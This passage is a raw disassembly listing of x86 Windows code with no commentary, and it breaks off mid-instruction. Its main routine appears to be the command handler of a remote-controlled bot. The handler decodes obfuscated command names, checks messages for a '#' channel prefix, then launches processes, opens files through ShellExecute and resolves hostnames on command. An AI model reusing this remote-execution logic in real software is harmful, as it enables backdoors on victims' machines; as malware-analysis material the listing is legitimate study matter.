near ; CODE XREF: sub_4011A4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403E50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40222A lea ecx, [esi+49h] mov [esp+14h+var_4], 0 call sub_40222A lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_40222A lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_40222A lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_40222A lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_40222A lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_40222A lea ecx, [esi+1FFh] mov byte ptr [esp+14h+var_4], 6 call sub_40222A mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403E50 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403F30 proc near ; CODE XREF: sub_40208Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403F30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+1FFh] mov [esp+14h+var_4], 6 call sub_401AE6 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_401AE6 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401AE6 lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_401AE6 lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_401AE6 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_401AE6 lea ecx, [esi+49h] mov byte ptr [esp+14h+var_4], 0 call sub_401AE6 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AE6 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403F30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_404010 proc near ; CODE XREF: sub_401D48j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_404010 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebp push esi push edi push 0 push 4 push 9 push 4Fh lea eax, [esp+70h+var_3C] push 2 mov esi, ecx push eax call sub_4019C4 add esp, 18h push esi mov ecx, eax mov [esp+64h+var_4], 0 call sub_4017EE lea ecx, [esi+0C29h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_404010 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4 push 0Eh push 12h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 1 call sub_4017EE push eax lea eax, [esi+0BCDh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 15h push 0Fh push 2 push 1 push 4Fh lea ecx, [esp+40h] push 2 push ecx call sub_4019C4 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+60h], 2 call sub_4017EE lea edx, [esi+0C57h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 12h push 15h push 3 push 5 push 13h push 4Fh lea eax, [esp+44h] push 2 push eax call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 3 call sub_4017EE lea ecx, [esi+0DF5h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Fh push 6 push 0Eh push 9 push 13h push 19h push 13h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 4 call sub_4017EE push eax lea eax, [esi+0C85h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 16h push 0Fh push 0Dh push 5 push 12h push 4Fh lea ecx, [esp+44h] push 2 push ecx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 5 call sub_4017EE lea edx, [esi+0B71h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 push 4Fh lea eax, [esp+4Ch] push 2 push eax call sub_4019C4 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+60h], 6 call sub_4017EE lea ecx, [esi+0DC7h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Eh push 5 push 10h push 0Fh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 7 call sub_4017EE push eax lea eax, [esi+0D0Fh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 9 push 15h push 11h push 4Fh lea ecx, [esp+3Ch] push 2 push ecx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 8 call sub_4017EE lea edx, [esi+0D99h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 4 push 0Dh push 3 push 4Fh lea eax, [esp+38h] push 2 push eax call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 9 call sub_4017EE lea ecx, [esi+0E23h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh lea edx, [esp+38h] push 2 push edx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ah call sub_4017EE push eax lea eax, [esi+0D6Bh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 4Fh lea ecx, [esp+38h] push 2 push ecx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Bh call sub_4017EE lea edx, [esi+0D3Dh] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 0Dh push 9 push 14h push 10h push 15h push 0Ch push 4Fh lea eax, [esp+48h] push 2 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ch call sub_4017EE push eax lea ecx, [esi+0CB3h] push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 0Dh call sub_4017EE push eax lea eax, [esi+0CE1h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- db 8Dh, 4Ch, 24h dd 247C8924h, 0CDD0E85Ch, 4E8DFFFFh, 0D390E809h, 4C8DFFFFh dd 51500C24h, 0FFDBD7E8h, 6A006AFFh, 6A1D6A25h, 24548D23h dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD53FE8h, 20C483FFh, 4C8DE88Bh dd 44C60C24h, 0E80F5C24h, 0FFFFD356h, 0E8CD8B50h, 0FFFFD34Eh dd 45F46850h, 75680044h, 0E8004D80h, 0FFFFD974h, 8D10C483h dd 0C624244Ch, 0E5C2444h, 0FFCD65E8h, 8D206AFFh, 6A402444h dd 4C8D5000h, 0DFE81824h, 8BFFFFCDh, 2444C6C8h, 0FE8105Ch dd 50FFFFD3h, 4445F068h, 8E456800h, 3EE8004Eh, 83FFFFCBh dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCD26h, 3FC6E2E8h dd 0C88B9002h, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h dd 247C8905h, 0CD04E85Ch, 4C8BFFFFh, 5E5F5424h, 0D89645Dh dd 0 ; --------------------------------------------------------------------------- add esp, 54h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 150h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404690 proc near ; CODE XREF: sub_401A41j var_88 = dword ptr -88h var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push offset SEH_404690 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 7Ch push ebx push ebp push esi mov esi, [esp+94h+arg_0] mov ebp, ecx push edi lea ebx, [esi+2Ah] push 0 mov ecx, ebx mov [esp+9Ch+var_88], ebp call sub_401479 mov cl, [eax] lea edi, [esi+69h] cmp cl, 23h jnz short loc_4046D2 push ebx jmp short loc_4046D6 ; --------------------------------------------------------------------------- loc_4046D2: ; CODE XREF: sub_404690+3Dj lea eax, [esi+15h] push eax loc_4046D6: ; CODE XREF: sub_404690+40j mov ecx, edi call sub_401FDC mov al, [esi+94h] test al, al jz short loc_4046F2 lea ecx, [esi+15h] push ecx mov ecx, edi call sub_401FDC loc_4046F2: ; CODE XREF: sub_404690+55j mov al, [esi+95h] test al, al jz short loc_40476F lea ecx, [esp+98h+var_6C] call sub_40142E push offset aO ; " -o" mov ecx, esi mov [esp+9Ch+var_4], 0 call sub_4013ED add eax, 3 lea edx, [esp+98h+var_54] push eax push edx mov ecx, esi call sub_401E47 push eax lea ecx, [esp+9Ch+var_6C] mov byte ptr [esp+9Ch+var_4], 1 call sub_401FDC lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], 0 call sub_401226 lea eax, [esp+98h+var_6C] mov ecx, edi push eax call sub_401FDC lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 loc_40476F: ; CODE XREF: sub_404690+6Aj push offset asc_444600 ; " " lea ecx, [esp+9Ch+var_6C] push 0 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+98h+var_54] mov ebx, 2 push 1 push edx mov ecx, eax mov [esp+0A0h+var_4], ebx call sub_401E47 lea edi, [esi+7Eh] push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 3 call sub_401FDC lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 push 0 lea ecx, [ebp+32Ch] call sub_401479 push 0 mov ecx, esi mov ebp, eax call sub_401479 mov al, [eax] mov cl, [ebp+0] cmp al, cl jnz loc_404A3A push 0 push 14h push 1 push 5 push 10h push 5 push 12h push 4Eh push 14h push 0Fh lea ecx, [esp+0C0h+var_54] push ebx push ecx call sub_4019C4 add esp, 30h mov ecx, eax mov [esp+98h+var_4], 4 call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40485F sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0B0h+arg_0], esp push edx call sub_4014D3 mov ecx, offset word_44AC5E call sub_401CE4 test eax, eax jz short loc_40485F mov bl, 1 jmp short loc_404861 ; --------------------------------------------------------------------------- loc_40485F: ; CODE XREF: sub_404690+1A6j ; sub_404690+1C9j xor bl, bl loc_404861: ; CODE XREF: sub_404690+1CDj lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_404A1E push offset asc_444600 ; " " lea eax, [esp+9Ch+var_54] push 1 push eax mov ecx, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov [esp+9Ch+var_4], 5 call sub_4012EE test eax, eax lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz loc_404A3A push offset asc_444600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+98h+var_4], 6 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+98h+var_54] mov ebp, eax mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test ebp, ebp jz loc_404A3A push 20h mov ecx, esi call sub_401D34 lea edx, [esp+98h+var_84] push eax push edx mov ecx, esi call sub_401E47 mov ebx, 7 push 20h lea ecx, [esp+9Ch+var_84] mov [esp+9Ch+var_4], ebx call sub_401D34 push eax lea eax, [esp+9Ch+var_54] push eax lea ecx, [esp+0A0h+var_84] call sub_401E47 push eax lea ecx, [esp+9Ch+var_84] mov byte ptr [esp+9Ch+var_4], 8 call sub_40202C lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_84] push ecx mov ecx, esi call sub_401FDC push offset asc_444600 ; " " lea edx, [esp+9Ch+var_24] push 0 push edx mov ecx, esi call sub_4016B8 lea ecx, [esp+98h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+0A0h+var_4], 9 call sub_401E47 push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 0Ah call sub_401FDC lea ecx, [esp+98h+var_3C] mov byte ptr [esp+98h+var_4], 9 call sub_401226 lea ecx, [esp+98h+var_24] mov byte ptr [esp+98h+var_4], bl call sub_401226 mov al, [esp+98h+arg_4] test al, al jnz short loc_4049F7 test ebp, ebp jle short loc_404A08 loc_4049E8: ; CODE XREF: sub_404690+363j mov ecx, [esp+98h+var_88] push esi call sub_401F87 dec ebp jnz short loc_4049E8 jmp short loc_404A08 ; --------------------------------------------------------------------------- loc_4049F7: ; CODE XREF: sub_404690+352j test ebp, ebp jle short loc_404A08 loc_4049FB: ; CODE XREF: sub_404690+376j mov ecx, [esp+98h+var_88] push esi call sub_40144C dec ebp jnz short loc_4049FB loc_404A08: ; CODE XREF: sub_404690+356j ; sub_404690+365j ... lea ecx, [esp+98h+var_84] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_404A3A ; --------------------------------------------------------------------------- loc_404A1E: ; CODE XREF: sub_404690+1E7j mov al, [esp+98h+arg_4] mov ecx, [esp+98h+var_88] test al, al push esi jnz short loc_404A35 call sub_401F87 jmp short loc_404A3A ; --------------------------------------------------------------------------- loc_404A35: ; CODE XREF: sub_404690+39Cj call sub_40144C loc_404A3A: ; CODE XREF: sub_404690+162j ; sub_404690+232j ... mov ecx, [esp+98h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 88h retn 8 sub_404690 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404B60 proc near ; CODE XREF: sub_401F87j arg_0 = dword ptr 4 push esi push edi mov edi, ecx mov ecx, offset word_44AC62 call sub_4014DD mov esi, [esp+8+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jz short loc_404BA6 sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push eax call sub_4014D3 mov ecx, offset word_44AC5E call sub_401CE4 test eax, eax jnz short loc_404BA6 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404BA6: ; CODE XREF: sub_404B60+1Dj ; sub_404B60+3Dj sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push edx call sub_4014D3 mov ecx, offset word_44AC5E call sub_401CE4 test eax, eax jnz short loc_404BE6 mov al, [edi+469h] test al, al jz short loc_404BE6 push 0 lea ecx, [esi+2Ah] call sub_401479 cmp byte ptr [eax], 23h jz short loc_404BE6 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404BE6: ; CODE XREF: sub_404B60+64j ; sub_404B60+6Ej ... push esi mov ecx, edi call sub_40144C pop edi pop esi retn 4 sub_404B60 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C30 proc near ; CODE XREF: sub_40144Cj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 1 lea ecx, [esi+7Eh] call sub_4017EE push eax mov ecx, offset dword_449118 call sub_401B04 test eax, eax jz short loc_404C5A mov ecx, [eax+2Ah] push esi mov eax, [ecx] call dword ptr [eax] pop esi retn 4 ; --------------------------------------------------------------------------- loc_404C5A: ; CODE XREF: sub_404C30+1Cj xor al, al pop esi retn 4 sub_404C30 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C70 proc near ; CODE XREF: sub_40186Bj push esi push edi mov edi, dword_5118AC mov esi, ecx call edi mov edx, dword_4D8099 mov ecx, [esi+421h] sub eax, edx cmp eax, ecx jbe short loc_404C9F mov ecx, offset byte_4D8075 call sub_401D20 call edi mov dword_4D8099, eax loc_404C9F: ; CODE XREF: sub_404C70+1Cj pop edi mov al, 1 pop esi retn sub_404C70 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404CC0 proc near ; CODE XREF: sub_4017D0j var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = byte ptr -1A8h var_198 = byte ptr -198h var_194 = dword ptr -194h var_190 = byte ptr -190h var_17C = dword ptr -17Ch var_178 = byte ptr -178h var_168 = dword ptr -168h var_164 = byte ptr -164h var_14D = byte ptr -14Dh var_14C = byte ptr -14Ch var_130 = byte ptr -130h var_11C = byte ptr -11Ch var_104 = dword ptr -104h var_100 = byte ptr -100h var_D0 = dword ptr -0D0h var_A0 = byte ptr -0A0h var_8C = byte ptr -8Ch var_54 = byte ptr -54h var_50 = byte ptr -50h var_48 = byte ptr -48h var_30 = byte ptr -30h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_404CC0 push eax mov large fs:0, esp sub esp, 15Ch push ebx push ebp push esi mov esi, [esp+174h+arg_0] push edi mov edi, ecx lea ebp, [esi+7Eh] lea ecx, [edi+0C29h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404D34 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [edi+2E3h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_404D34: ; CODE XREF: sub_404CC0+40j lea ecx, [edi+0D6Bh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404EC5 push 1 push offset asc_444600 ; " " lea edx, [esp+180h+var_14C] push 2 push edx mov ecx, esi call sub_4011EA push offset asc_444600 ; " " lea eax, [esp+17Ch+var_100] push 1 push eax mov ecx, esi mov [esp+184h+var_4], 0 call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 1 call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 cmp eax, 1 lea ecx, [esp+178h+var_100] mov byte ptr [esp+178h+var_4], 0 setz bl call sub_401226 lea ecx, [esp+178h+var_164] call sub_40142E push 2000h push 2000h lea ecx, [esp+180h+var_164] mov byte ptr [esp+180h+var_4], 2 call sub_401C71 push eax lea ecx, [esp+180h+var_14C] call sub_4017EE push eax nop call near ptr 2820000h lea ecx, [esp+178h+var_164] push ecx lea ecx, [esp+17Ch+var_14C] call sub_401FDC mov ecx, 11h xor eax, eax lea edi, [esp+178h+var_D0] lea edx, [esp+178h+var_11C] rep stosd lea eax, [esp+178h+var_D0] push edx push eax push 0 neg bl push 0 push 28h sbb ebx, ebx push 1 and ebx, 5 push 0 push 0 lea ecx, [esp+198h+var_14C] mov [esp+198h+var_D0], 44h mov word ptr [esp+198h+var_A0], bx call sub_4014DD push eax push 0 call near ptr 28104BCh nop test eax, eax jnz short loc_404E99 lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_404E99: ; CODE XREF: sub_404CC0+18Cj lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_404EC5: ; CODE XREF: sub_404CC0+89j lea ecx, [edi+0B71h] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404F74 push 1 push offset asc_444600 ; " " lea eax, [esp+180h+var_164] push 1 push eax mov ecx, esi call sub_4011EA mov ecx, offset byte_4E8E45 mov [esp+178h+var_4], 3 call sub_4017EE push eax lea ecx, [esp+17Ch+var_164] call sub_4012EE test eax, eax jnz short loc_404F60 mov al, byte_449896 test al, al jz short loc_404F30 push offset dword_449834 mov ecx, offset dword_44AD70 call sub_401451 loc_404F30: ; CODE XREF: sub_404CC0+25Fj mov al, byte_4498DF test al, al jz short loc_404F48 push offset byte_44990F mov ecx, offset dword_44AD70 call sub_401951 loc_404F48: ; CODE XREF: sub_404CC0+277j mov ecx, offset dword_44AD70 call sub_401E79 mov byte_4D808C, 0 mov byte_4E8E44, 0 loc_404F60: ; CODE XREF: sub_404CC0+256j mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_164] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_404F74: ; CODE XREF: sub_404CC0+21Aj lea ecx, [edi+0C57h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404FBC lea ecx, [esi+69h] call sub_4014DD push eax mov ecx, offset word_4E8E5A call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_404FBC: ; CODE XREF: sub_404CC0+2C9j lea ecx, [edi+0DC7h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405076 push eax push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 lea eax, [esp+19Ch+var_14C] push 50h push eax call sub_4019C4 mov esi, eax push 0 push 5 push 18h push 5 push 4Eh push 7 push 9 push 6 push 0Eh push 0Fh push 3 push 10h lea ecx, [esp+1D4h+var_164] push 9 push ecx mov [esp+1DCh+var_4], 4 call sub_4019C4 add esp, 64h mov edi, eax mov ecx, esi mov byte ptr [esp+178h+var_4], 5 call sub_4017EE push eax mov ecx, edi call sub_4017EE push eax call sub_401299 add esp, 8 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 4 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405076: ; CODE XREF: sub_404CC0+311j lea ecx, [edi+0D0Fh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405194 lea ecx, [esp+178h+var_14C] call sub_40142E push offset asc_444600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi mov [esp+184h+var_4], 6 call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 7 call sub_4017EE push eax lea ecx, [esp+17Ch+var_14C] call sub_401A9B lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 6 call sub_401226 lea ecx, [esp+178h+var_164] call sub_40142E push 1 mov bl, 8 push 0 push 0 lea ecx, [esp+184h+var_14C] mov byte ptr [esp+184h+var_4], bl call sub_4017EE push eax push offset aOpen ; "open" push 0 nop call near ptr 7CA41110h movsx eax, al push eax lea ecx, [esp+17Ch+var_11C] call sub_402112 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 9 push ecx lea ecx, [esp+17Ch+var_164] call sub_40202C lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_164] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 6 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_405194: ; CODE XREF: sub_404CC0+3CBj lea ecx, [edi+0D99h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_4051B7 mov byte_4D808C, al mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_4051B7: ; CODE XREF: sub_404CC0+4E9j lea ecx, [edi+0D3Dh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_40547E lea ecx, [esp+178h+var_11C] call sub_40142E push offset asc_444600 ; " " lea ecx, [esp+17Ch+var_164] push 1 mov ebx, 0Ah push ecx mov ecx, esi mov [esp+184h+var_4], ebx call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+17Ch+var_4], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl setz [esp+178h+var_14D] call sub_401226 mov al, [esp+178h+var_14D] test al, al jz short loc_405241 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_11C] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_405241: ; CODE XREF: sub_404CC0+56Bj push offset asc_444600 ; " " lea edx, [esp+17Ch+var_164] push 1 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 0Ch call sub_4017EE push eax nop call near ptr 71AB2BF4h lea ecx, [esp+178h+var_164] mov [esp+178h+var_104], eax mov byte ptr [esp+178h+var_4], bl call sub_401226 mov eax, [esp+178h+var_104] or ebp, 0FFFFFFFFh cmp eax, ebp jz loc_405314 push 2 lea eax, [esp+17Ch+var_104] push 4 push eax call near ptr 71ABE479h nop mov edi, eax test edi, edi jz loc_4053F5 push offset asc_444600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016B8 mov edx, [edi] mov ecx, eax push edx mov byte ptr [esp+17Ch+var_4], 0Dh call sub_4017EE push eax lea eax, [esp+180h+var_11C] push offset aSResolvedS ; "%s resolved %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_11C] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx jmp loc_40545B ; --------------------------------------------------------------------------- loc_405314: ; CODE XREF: sub_404CC0+5C7j push offset asc_444600 ; " " lea eax, [esp+17Ch+var_164] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 0Eh call sub_4017EE push eax nop call near ptr 71AB4FD4h lea ecx, [esp+178h+var_164] mov edi, eax mov byte ptr [esp+178h+var_4], bl call sub_401226 test edi, edi jz loc_4053F5 mov ecx, [edi+0Ch] push offset asc_444600 ; " " lea eax, [esp+17Ch+var_164] push 1 mov edx, [ecx] push eax mov ecx, esi mov edi, [edx] call sub_4016B8 mov ebp, eax push edi mov byte ptr [esp+17Ch+var_4], 0Fh call near ptr 71AB3F41h nop push eax mov ecx, ebp call sub_4017EE push eax lea ecx, [esp+180h+var_11C] push offset aSS_1 ; "%s -> %s" push ecx call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_11C] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_4056BF ; --------------------------------------------------------------------------- loc_4053F5: ; CODE XREF: sub_404CC0+5E0j ; sub_404CC0+691j push offset asc_444600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 10h call 